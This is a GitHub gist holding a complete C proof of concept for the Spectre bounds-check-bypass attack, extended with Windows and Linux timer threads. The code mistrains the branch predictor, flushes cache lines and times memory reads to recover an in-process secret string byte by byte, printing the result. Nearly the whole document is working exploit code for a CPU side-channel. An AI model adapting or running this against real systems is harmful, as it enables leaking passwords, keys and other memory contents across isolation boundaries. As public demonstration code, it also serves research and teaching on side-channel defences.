Skip to content

Instantly share code, notes, and snippets.

@richinseattle
Forked from ErikAugust/spectre.c
Last active January 10, 2018 15:38
Show Gist options
  • Select an option

  • Save richinseattle/c7515eeb36092ec2f37e23e2fa04c52e to your computer and use it in GitHub Desktop.

Select an option

Save richinseattle/c7515eeb36092ec2f37e23e2fa04c52e to your computer and use it in GitHub Desktop.
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER
#include <intrin.h> // for rdtscp and clflush
#pragma optimize("gt",on)
#else
#include <x86intrin.h> // for rdtscp and clflush
#endif
// spectre.c - richinseattle
// updated from original version with pthread and windows loop counter thread
// based on POC from project zero and Eugnis
// spectre [threshold] [tries]
// windows: cl /Od /Zi spectre.c && spectre.exe
// linux: gcc -std=c99 -march=native -pthread -O0 spectre.c -o spectre && ./spectre
// Linux rdtsc and counter based timer work on both 32 & 64 bit
// Windows rdtsc works on both 32 & 64 bit
// Windows counter based timer works only on 32 bit
// define THREAD_TIMER to use loop counters instead of rdtscp
//#define THREAD_TIMER
#ifdef THREAD_TIMER
#ifdef _MSC_VER
#include <Windows.h>
#else
#include <pthread.h>
#endif
#endif
// victim code
unsigned int array1_size = 16;
uint8_t unused1[64];
uint8_t array1[160] = {1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16};
uint8_t unused2[64];
uint8_t array2[256 * 512];
char *secret = "Magic";
// Used so compiler won’t optimize out victim_function()
uint8_t temp = 0;
void victim_function(size_t x)
{
if (x < array1_size) {
temp &= array2[array1[x] * 512];
}
}
// loop based timers
#ifdef THREAD_TIMER
volatile uint32_t counter = 0;
uint32_t exit_timer_thread = 0;
uint32_t calibrate_loop()
{
counter = 0;
int junk, c = 1000000;
uint64_t time1 = __rdtscp( & junk);
for (int i = 0; i < c; i++) counter++;
uint64_t time2 = __rdtscp( & junk);
float ratio = (time2 - time1) / (float)c;
printf("calibrate_loop: %f ms per iteration\n\n", ratio);
counter = 0;
return (int)ratio;
}
#ifdef _MSC_VER // windows timer thread
uint32_t CACHE_HIT_THRESHOLD = 30; // cache hit if time <= threshold
uint32_t MAX_TRIES = 1500;
DWORD WINAPI counter_function(void *data) {
while (!exit_timer_thread) counter++;
return 0;
}
#else // pthread timer thread
uint32_t CACHE_HIT_THRESHOLD = 20; // cache hit if time <= threshold
uint32_t MAX_TRIES = 500;
void *counter_function(void *data) {
while (!exit_timer_thread) counter++;
return NULL;
}
#endif
#else // rdtsc timer
uint32_t CACHE_HIT_THRESHOLD = 80;
uint32_t MAX_TRIES = 999;
#endif
// detection
// Report best guess in value[0] and runner-up in value[1]
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
static int results[256];
int tries, i, j, k, mix_i, junk = 0;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr;
for (i = 0; i < 256; i++)
results[i] = 0;
for (tries = MAX_TRIES; tries > 0; tries--) {
// Flush array2[256*(0..255)] from cache
for (i = 0; i < 256; i++)
_mm_clflush( & array2[i * 512]); // intrinsic for clflush instruction
// 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x)
training_x = tries % array1_size;
for (j = 29; j >= 0; j--) {
_mm_clflush( & array1_size);
for (volatile int z = 0; z < 100; z++) {} // Delay (can also mfence)
// Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0
// Avoid jumps in case those tip off the branch predictor
x = ((j % 6) - 1) & ~0xFFFF; // Set x=FFF.FF0000 if j%6==0, else x=0
x = (x | (x >> 16)); // Set x=-1 if j&6=0, else x=0
x = training_x ^ (x & (malicious_x ^ training_x));
// Call the victim!
victim_function(x);
}
// Time reads. Order is lightly mixed up to prevent stride prediction
for (i = 0; i < 256; i++) {
mix_i = ((i * 167) + 13) & 255;
addr = & array2[mix_i * 512];
#ifdef THREAD_TIMER
time1 = counter;
junk = *addr; // TIMED MEMORY ACCESS
time2 = counter - time1;
#else
time1 = __rdtscp( & junk);
junk = *addr; // TIMED MEMORY ACCESS
time2 = __rdtscp( & junk) - time1;
#endif
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; // cache hit - add +1 to score for this value
}
// Locate highest & second-highest results results tallies in j/k
j = k = -1;
for (i = 0; i < 256; i++) {
if (j < 0 || results[i] >= results[j]) {
k = j;
j = i;
} else if (k < 0 || results[i] >= results[k]) {
k = i;
}
}
if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
break; // Clear success if best is > 2*runner-up + 5 or 2/0)
}
results[0] ^= junk; // use junk so code above won’t get optimized out
value[0] = (uint8_t) j;
score[0] = results[j];
value[1] = (uint8_t) k;
score[1] = results[k];
}
int main(int argc, const char **argv)
{
int len = strlen(secret);
char *recovered_secret = calloc(len, 1);
// write to array2 so in RAM not copy-on-write zero pages
for (int i = 0; i < sizeof(array2); i++) array2[i] = 1;
if (argc == 3) MAX_TRIES = atoi(argv[2]);
if (argc >= 2) CACHE_HIT_THRESHOLD = atoi(argv[1]);
#ifdef THREAD_TIMER
#ifdef _MSC_VER
//printf("WINDOWS timer\n");
//CACHE_HIT_THRESHOLD /= calibrate_loop();
calibrate_loop();
HANDLE timer_thread = CreateThread(NULL, 0, counter_function, NULL, 0, NULL);
#else
//printf("linux timer\n");
pthread_t timer_thread;
if (pthread_create(&timer_thread, NULL, counter_function, NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
#endif
#endif
size_t malicious_x = (size_t)(secret - (char *)array1);
uint8_t value[2], value_normalised[2];
int score[2];
printf("Reading %d bytes:\n", len);
while (--len >= 0) {
int selected_id = 0, not_selected_id = 1;
char *not_selected_label = "";
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score);
printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear"));
selected_id = 0;
not_selected_id = 1;
not_selected_label = "second";
value_normalised[0] = (value[0] > 31 && value[0] < 127) ? value[0] : '?';
value_normalised[1] = (value[1] > 31 && value[1] < 127) ? value[1] : '?';
if (value_normalised[0] == '?' && value_normalised[1] != '?') {
selected_id = 1;
not_selected_id = 0;
not_selected_label = "first";
}
recovered_secret[strlen(recovered_secret)] = value_normalised[selected_id];
if (score[1] == 0) {
printf("0x%02X='%c' score=%d ", value[selected_id],
value_normalised[selected_id], score[selected_id]);
} else {
printf("0x%02X='%c' score=%d ", value[selected_id],
value_normalised[selected_id], score[selected_id]);
printf("('%c|%c' %6s: 0x%02X='%c' score=%d)", value_normalised[0],
value_normalised[1], not_selected_label, value[not_selected_id],
value_normalised[not_selected_id], score[not_selected_id]);
}
printf("\n");
}
printf("\n");
printf("CACHE_HIT_THRESHOLD = %d\n", CACHE_HIT_THRESHOLD);
printf(" MAX_TRIES = %d\n", MAX_TRIES);
printf("\n");
printf(" Original secret: '%s'\n", secret);
printf("Recovered secret: '%s'\n", recovered_secret);
printf("\n");
#ifdef THREAD_TIMER
exit_timer_thread = 1;
#ifdef _MSC_VER
CloseHandle(timer_thread);
#else
if (pthread_join(timer_thread, NULL)) {
fprintf(stderr, "Error joining thread\n");
return 1;
}
#endif
#endif
return (0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment